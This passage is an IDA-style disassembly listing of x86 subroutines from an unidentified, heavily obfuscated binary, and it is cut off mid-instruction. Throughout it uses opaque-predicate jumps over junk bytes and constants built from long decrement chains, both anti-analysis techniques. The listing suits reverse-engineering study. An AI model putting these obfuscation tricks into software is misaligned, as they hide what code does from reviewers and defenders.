sub_497F97+4Ej jmp short loc_497FE9 ; --------------------------------------------------------------------------- loc_497FF0: ; CODE XREF: sub_497F97:loc_497FE9j mov bl, 15h dec bl sub bl, 6 dec bl dec bl dec bl sub bl, 1 dec bl dec bl dec bl dec bl dec bl dec bl and al, bl pop ebx pop edx test eax, eax jz short loc_49801C not eax add eax, 1 stc jmp short loc_498022 ; --------------------------------------------------------------------------- loc_49801C: ; CODE XREF: sub_497F97+7Bj not eax add eax, 1 clc loc_498022: ; CODE XREF: sub_497F97+83j sbb eax, eax neg eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3B0 xor ecx, dword_4ED3B4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49804B mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49804B: ; CODE XREF: sub_497F97+A9j mov eax, [ebp+var_8] push eax call off_4F1D08 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_497F97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49805F proc near ; DATA XREF: sub_4965D8+27Do var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh sub ch, 2 sub ch, 20h dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch mov ebx, [ebp+arg_4] dec esi dec edi xor edx, edx or ebx, edx jz short loc_4980A3 dec edi and eax, 0 jmp short loc_4980AA ; --------------------------------------------------------------------------- loc_4980A3: ; CODE XREF: sub_49805F+3Cj dec edi and eax, 0 dec edi dec edi inc eax loc_4980AA: ; CODE XREF: sub_49805F+42j mov [ebp+var_8], eax mov eax, dword_4ED3E8 xor eax, dword_4ED3EC shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_4980CC mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_4980CC: ; CODE XREF: sub_49805F+62j mov edx, [ebp+var_4] push edx call off_4F1D40 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49805F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4980E0 proc near ; DATA XREF: sub_4965D8+A04o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DEC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_498113 jl short loc_498111 loc_49810C: ; CODE XREF: sub_4980E0:loc_498111j ; sub_4980E0:loc_498113j jmp short loc_498115 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_498111: ; CODE XREF: sub_4980E0+2Aj jz short loc_49810C loc_498113: ; CODE XREF: sub_4980E0+28j jmp short loc_49810C ; --------------------------------------------------------------------------- loc_498115: ; CODE XREF: sub_4980E0:loc_49810Cj sub bl, 5 dec bl push eax dec bl dec bl jo short loc_498128 jl short loc_498126 loc_498123: ; CODE XREF: sub_4980E0:loc_498126j ; sub_4980E0:loc_498128j jmp short loc_49812A ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_498126: ; CODE XREF: sub_4980E0+41j jz short loc_498123 loc_498128: ; CODE XREF: sub_4980E0+3Fj jmp short loc_498123 ; --------------------------------------------------------------------------- loc_49812A: ; CODE XREF: sub_4980E0:loc_498123j and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED41C xor ecx, dword_4ED420 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_498176 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_498176: ; CODE XREF: sub_4980E0+8Bj mov eax, [ebp+var_8] push eax call off_4F1D74 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4980E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49818A proc near ; DATA XREF: sub_4965D8+D8Fo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DCC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax dec edi inc esi dec bh jz short $+2 dec bh dec bh dec edi inc esi dec bh and eax, 800h bswap ecx jo short $+2 pop eax bswap ecx and ah, bh mov bl, 86h dec bl dec bl dec bl dec bl dec edi inc esi dec bl dec bl dec edi inc esi dec bl dec bl dec edi inc esi sub bl, 1Ah dec bl dec edi inc esi sub bl, 1Fh not bx dec edi inc esi bswap eax not bx bswap eax and al, bl and eax, 0 inc eax dec edi inc esi pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3FC xor ecx, dword_4ED400 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_498226 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_498226: ; CODE XREF: sub_49818A+91j mov eax, [ebp+var_8] push eax call off_4F1D54 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49818A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49823A proc near ; DATA XREF: sub_4965D8+1F5o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_498263 ; --------------------------------------------------------------------------- mov ebx, 4 loc_498263: ; CODE XREF: sub_49823A+22j mov ebx, 32h not ebx bswap eax not ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3F8 xor ecx, dword_4ED3FC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4982AC mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4982AC: ; CODE XREF: sub_49823A+67j mov eax, [ebp+var_8] push eax call off_4F1D50 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49823A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4982C0 proc near ; DATA XREF: sub_4965D8+6BDo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx bswap ecx not ecx push eax not eax mov eax, 80h xchg eax, ecx mov ecx, 1 xchg eax, ecx not eax pop eax not ecx pop ecx push edx mov dh, 18h dec dh dec dh not ecx dec dh dec dh dec dh dec dh bswap eax dec dh dec dh dec edi sub dh, 3 dec dh dec edi dec dh sub dh, 0Bh dec edi bswap eax jo short loc_498325 jl short loc_498323 loc_498320: ; CODE XREF: sub_4982C0:loc_498323j ; sub_4982C0:loc_498325j jmp short loc_498327 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_498323: ; CODE XREF: sub_4982C0+5Ej jz short loc_498320 loc_498325: ; CODE XREF: sub_4982C0+5Cj jmp short loc_498320 ; --------------------------------------------------------------------------- loc_498327: ; CODE XREF: sub_4982C0:loc_498320j and ah, dh mov dl, 9 dec dl dec dl dec dl dec dl not ecx dec dl dec dl dec dl dec dl dec dl add dl, 5 sub dl, 3 dec dl jo short loc_498350 jl short loc_49834E loc_49834B: ; CODE XREF: sub_4982C0:loc_49834Ej ; sub_4982C0:loc_498350j jmp short loc_498352 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49834E: ; CODE XREF: sub_4982C0+89j jz short loc_49834B loc_498350: ; CODE XREF: sub_4982C0+87j jmp short loc_49834B ; --------------------------------------------------------------------------- loc_498352: ; CODE XREF: sub_4982C0:loc_49834Bj and al, dl not ah bswap eax bswap eax not ah pop edx mov [ebp+var_C], eax mov ecx, dword_4ED400 xor ecx, dword_4ED404 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_498380 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_498380: ; CODE XREF: sub_4982C0+B5j mov eax, [ebp+var_8] push eax call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4982C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_498394 proc near ; DATA XREF: sub_4965D8+4CBo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 800h jmp short loc_4983C0 ; --------------------------------------------------------------------------- mov ebx, 80h loc_4983C0: ; CODE XREF: sub_498394+25j mov ebx, 70h not ebx bswap eax not ebx inc ebx inc ebx inc ebx inc ebx add ebx, 4 inc ebx inc ebx inc ebx inc ebx dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49840F mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49840F: ; CODE XREF: sub_498394+70j mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_498394 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_498423 proc near ; DATA XREF: sub_4965D8+E2Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 800h jmp short loc_49844C ; --------------------------------------------------------------------------- mov ebx, 80h loc_49844C: ; CODE XREF: sub_498423+22j mov ebx, 6Eh not ebx bswap eax not ebx inc ebx inc ebx inc ebx inc ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 5 add ebx, ecx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0D00h sub dh, 1 dec dh dec dh dec dh sub dh, 0FFh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx jo short loc_4984A3 jl short loc_4984A1 loc_49849E: ; CODE XREF: sub_498423:loc_4984A1j ; sub_498423:loc_4984A3j jmp short loc_4984A5 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4984A1: ; CODE XREF: sub_498423+79j jz short loc_49849E loc_4984A3: ; CODE XREF: sub_498423+77j jmp short loc_49849E ; --------------------------------------------------------------------------- loc_4984A5: ; CODE XREF: sub_498423:loc_49849Ej cmp eax, edx jo short loc_4984B0 jl short loc_4984AE loc_4984AB: ; CODE XREF: sub_498423:loc_4984AEj ; sub_498423:loc_4984B0j jmp short loc_4984B2 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4984AE: ; CODE XREF: sub_498423+86j jz short loc_4984AB loc_4984B0: ; CODE XREF: sub_498423+84j jmp short loc_4984AB ; --------------------------------------------------------------------------- loc_4984B2: ; CODE XREF: sub_498423:loc_4984ABj jnz short loc_4984C4 jo short loc_4984BD jl short loc_4984BB loc_4984B8: ; CODE XREF: sub_498423:loc_4984BBj ; sub_498423:loc_4984BDj jmp short loc_4984BF ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4984BB: ; CODE XREF: sub_498423+93j jz short loc_4984B8 loc_4984BD: ; CODE XREF: sub_498423+91j jmp short loc_4984B8 ; --------------------------------------------------------------------------- loc_4984BF: ; CODE XREF: sub_498423:loc_4984B8j and eax, 0 jmp short loc_4984D3 ; --------------------------------------------------------------------------- loc_4984C4: ; CODE XREF: sub_498423:loc_4984B2j and eax, 0 jo short loc_4984D0 jl short loc_4984CE loc_4984CB: ; CODE XREF: sub_498423:loc_4984CEj ; sub_498423:loc_4984D0j jmp short loc_4984D2 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4984CE: ; CODE XREF: sub_498423+A6j jz short loc_4984CB loc_4984D0: ; CODE XREF: sub_498423+A4j jmp short loc_4984CB ; --------------------------------------------------------------------------- loc_4984D2: ; CODE XREF: sub_498423:loc_4984CBj inc eax loc_4984D3: ; CODE XREF: sub_498423+9Fj mov [ebp+var_C], eax mov ecx, dword_4ED414 xor ecx, dword_4ED418 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4984F6 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4984F6: ; CODE XREF: sub_498423+C8j mov eax, [ebp+var_8] push eax call off_4F1D6C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_498423 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49850A proc near ; DATA XREF: sub_4965D8+C0Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx bswap ecx not ecx push eax not eax mov eax, 80h xchg eax, ecx mov ecx, 1 xchg eax, ecx not eax pop eax not ecx pop ecx push edx mov dh, 12h dec dh dec dh not ecx dec dh dec dh dec dh dec dh bswap eax dec dh dec dh sub dh, 5 dec dh dec dh dec dh dec dh dec dh bswap eax and ah, dh mov dl, 9 dec dl dec dl dec dl dec dl not ecx dec dl dec dl dec dl dec dl dec dl add dl, 1 and al, dl not ah bswap eax bswap eax not ah pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED414 xor ecx, dword_4ED418 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4985B4 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4985B4: ; CODE XREF: sub_49850A+9Fj mov eax, [ebp+var_8] push eax call off_4F1D6C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49850A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4985C8 proc near ; DATA XREF: sub_4965D8+487o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Fh dec ch dec ch dec ch sub ch, 1 sub ch, 15h dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 0BDh sub cl, 2 dec cl dec cl dec cl dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl dec cl dec cl push eax dec cl dec cl sub cl, 13h dec cl sub cl, 3 dec cl and eax, 41h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 22h not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3C0 xor ecx, dword_4ED3C4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4986A8 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4986A8: ; CODE XREF: sub_4985C8+D5j mov eax, [ebp+var_8] push eax call off_4F1D18 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4985C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4986BC proc near ; DATA XREF: sub_4965D8+1559o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 77h sub cl, 2 dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl jo short loc_498724 jl short loc_498722 loc_49871F: ; CODE XREF: sub_4986BC:loc_498722j ; sub_4986BC:loc_498724j jmp short loc_498726 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_498722: ; CODE XREF: sub_4986BC+61j jz short loc_49871F loc_498724: ; CODE XREF: sub_4986BC+5Fj jmp short loc_49871F ; --------------------------------------------------------------------------- loc_498726: ; CODE XREF: sub_4986BC:loc_49871Fj dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 800h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED418 xor ecx, dword_4ED41C shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49877E mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49877E: ; CODE XREF: sub_4986BC+B7j mov eax, [ebp+var_8] push eax call off_4F1D70 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4986BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_498792 proc near ; DATA XREF: sub_4965D8+118Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D88 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 77h sub cl, 2 dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl jo short loc_4987FA jl short loc_4987F8 loc_4987F5: ; CODE XREF: sub_498792:loc_4987F8j ; sub_498792:loc_4987FAj jmp short loc_4987FC ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4987F8: ; CODE XREF: sub_498792+61j jz short loc_4987F5 loc_4987FA: ; CODE XREF: sub_498792+5Fj jmp short loc_4987F5 ; --------------------------------------------------------------------------- loc_4987FC: ; CODE XREF: sub_498792:loc_4987F5j and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3B8 xor ecx, dword_4ED3BC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_498851 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_498851: ; CODE XREF: sub_498792+B4j mov eax, [ebp+var_8] push eax call off_4F1D10 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_498792 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_498865 proc near ; DATA XREF: sub_4965D8+E5Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 4 dec bh dec bh dec bh xor bh, 1 and eax, 80h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 10h dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl pop ebx pop edx test eax, eax jnz loc_4989AB mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 1 dec bh and eax, 41h bswap ecx pop eax bswap ecx and ah, bh mov bl, 97h dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49893F jl short loc_49893D loc_498938: ; CODE XREF: sub_498865:loc_49893Dj ; sub_498865:loc_49893Fj jmp short loc_498941 ; --------------------------------------------------------------------------- dw 12B8h db 26h ; --------------------------------------------------------------------------- loc_49893D: ; CODE XREF: sub_498865+D1j jz short loc_498938 loc_49893F: ; CODE XREF: sub_498865+CFj jmp short loc_498938 ; --------------------------------------------------------------------------- loc_498941: ; CODE XREF: sub_498865:loc_498938j sub bl, 5 dec bl push eax dec bl dec bl and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl jo short loc_498964 jl short loc_498962 loc_49895D: ; CODE XREF: sub_498865:loc_498962j ; sub_498865:loc_498964j jmp short loc_498966 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- adc ah, [esi] loc_498962: ; CODE XREF: sub_498865+F6j jz short loc_49895D loc_498964: ; CODE XREF: sub_498865+F4j jmp short loc_49895D ; --------------------------------------------------------------------------- loc_498966: ; CODE XREF: sub_498865:loc_49895Dj and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_49898C jl short loc_49898A loc_498985: ; CODE XREF: sub_498865:loc_49898Aj ; sub_498865:loc_49898Cj jmp short loc_49898E ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49898A: ; CODE XREF: sub_498865+11Ej jz short loc_498985 loc_49898C: ; CODE XREF: sub_498865+11Cj jmp short loc_498985 ; --------------------------------------------------------------------------- loc_49898E: ; CODE XREF: sub_498865:loc_498985j inc eax dec eax inc eax dec eax inc eax dec eax jo short loc_49899D jl short loc_49899B loc_498998: ; CODE XREF: sub_498865:loc_49899Bj ; sub_498865:loc_49899Dj jmp short loc_49899F ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49899B: ; CODE XREF: sub_498865+131j jz short loc_498998 loc_49899D: ; CODE XREF: sub_498865+12Fj jmp short loc_498998 ; --------------------------------------------------------------------------- loc_49899F: ; CODE XREF: sub_498865:loc_498998j inc eax pop ecx cmp ecx, eax jnz short loc_4989AB and eax, 0 inc eax jmp short loc_4989AE ; --------------------------------------------------------------------------- loc_4989AB: ; CODE XREF: sub_498865+7Cj ; sub_498865+13Ej and eax, 0 loc_4989AE: ; CODE XREF: sub_498865+144j mov [ebp+var_C], eax mov ecx, dword_4ED3D4 xor ecx, dword_4ED3D8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4989D1 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4989D1: ; CODE XREF: sub_498865+161j mov eax, [ebp+var_8] push eax call off_4F1D2C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_498865 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4989E5 proc near ; DATA XREF: sub_4965D8+38Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3F0 xor ecx, dword_4ED3F4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_498A7B mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_498A7B: ; CODE XREF: sub_4989E5+8Bj mov eax, [ebp+var_8] push eax call off_4F1D48 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4989E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_498A8F proc near ; DATA XREF: sub_4965D8+1367o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 8 dec ch and ah, ch mov cl, 0BEh sub cl, 2 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl sub cl, 3 dec cl and eax, 80h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 800h sub cl, 1Fh not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 0C00h sub dh, 1 dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx jo short loc_498B56 jl short loc_498B54 loc_498B51: ; CODE XREF: sub_498A8F:loc_498B54j ; sub_498A8F:loc_498B56j jmp short loc_498B58 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_498B54: ; CODE XREF: sub_498A8F+C0j jz short loc_498B51 loc_498B56: ; CODE XREF: sub_498A8F+BEj jmp short loc_498B51 ; --------------------------------------------------------------------------- loc_498B58: ; CODE XREF: sub_498A8F:loc_498B51j setnz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED404 xor ecx, dword_4ED408 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_498B80 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_498B80: ; CODE XREF: sub_498A8F+E6j mov eax, [ebp+var_8] push eax call off_4F1D5C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_498A8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_498B94 proc near ; DATA XREF: sub_4965D8+B41o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1F00h pop ebx jo short loc_498BCA jl short loc_498BC8 loc_498BC3: ; CODE XREF: sub_498B94:loc_498BC8j ; sub_498B94:loc_498BCAj jmp short loc_498BCC ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_498BC8: ; CODE XREF: sub_498B94+2Dj jz short loc_498BC3 loc_498BCA: ; CODE XREF: sub_498B94+2Bj jmp short loc_498BC3 ; --------------------------------------------------------------------------- loc_498BCC: ; CODE XREF: sub_498B94:loc_498BC3j sub bh, 3 sub bh, 3 push eax dec bh dec bh and eax, 80h dec 